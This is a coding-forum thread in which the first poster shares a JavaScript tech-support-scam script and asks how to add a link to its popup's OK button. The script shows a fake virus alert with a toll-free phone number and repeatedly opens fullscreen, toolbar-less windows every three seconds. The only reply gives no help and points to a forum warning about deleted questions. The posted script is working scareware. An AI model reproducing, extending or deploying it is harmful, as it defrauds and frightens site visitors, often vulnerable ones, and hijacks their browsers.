Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 2 of 2
  1. #1
    New to the CF scene
    Join Date
    Dec 2014
    Posts
    1
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Post How to add Link in the ok button in the popup so ...

    How to add Link in the ok button in the popup so when i click open button it will go to specific link


    <script type="text/javascript">
    function alertMessage(){
    alert("Your Computer May be Infected: 1-800-596-1743 (Toll Free) \n\n\n For Emergency Tech Support - Call Immediately \n The system may have found(2) viruses that pose a serious threat \n Browser.Hijacker.Spy ./ Trojan.FakeAV-Download \n\n Your personal and financial information may not be secured.\n\n Call NOW for Support \n 1-800-596-1743 (Toll Free)");
    }

    function show() {


    var params = 'width=' + screen.width;
    params += ', height=' + screen.height;
    params += ', top=0, left=0'
    params += ', fullscreen=yes,resizable=no,titlebar=no,toolbar=no,statusbar=no,menubar=no';

    var winPop = new Array();

    winPop[winPop.length] = window.open('result.html','window1',params);

    window.open('result.html','window2',params);
    window.open('warning.html','window3',params);

    window.open('result.html','window4',params);
    window.open('warning.html','window5',params);
    window.open('result.html','window6',params);
    }

    var myVar=setInterval(function(){myTimer()},3000);

    function myTimer() {
    var d = new Date();
    show();
    }



    </script>

  • #2
    Senior Coder jmrker's Avatar
    Join Date
    Aug 2006
    Location
    FL
    Posts
    3,148
    Thanks
    39
    Thanked 506 Times in 500 Posts
    Please read this "Sticky": *** WARNING: Questions posted here will be deleted! ***

    Might also benefit you to read the 1st sticky as well.
    And surround your scripts with [ code] and [ /code] or [ php] or [ /php] (without the spaces) to make them easier to read.


  •  

    Tags for this Thread

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •